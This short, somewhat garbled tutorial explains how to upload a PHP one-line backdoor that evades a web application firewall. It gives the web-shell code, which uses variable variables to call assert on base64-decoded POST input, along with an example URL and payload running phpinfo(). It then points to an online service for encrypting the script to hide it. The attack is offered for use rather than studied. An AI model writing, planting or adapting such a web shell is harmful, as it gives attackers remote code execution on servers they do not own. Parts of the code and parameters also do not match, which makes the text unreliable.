Upload script file (one sentence back door) WAF bypass (PHP)

Variable coverage 、

1. Variable coverage

Script to upload ：

<?php
$a = $_GET['x'];
$$a = $_GET['y'];
$b(base64_decode($_POST['z']));
>

phpinfo(); To base64 by ：cGhwaW5mbygpOw==
url by :www.xxx.com?x=b&y=assert
Incoming data:
x= cGhwaW5mbygpOw==

2. Encryption obfuscation

Encrypt the script file
Encrypted connection :http://phpjiami.com/phpjiami.html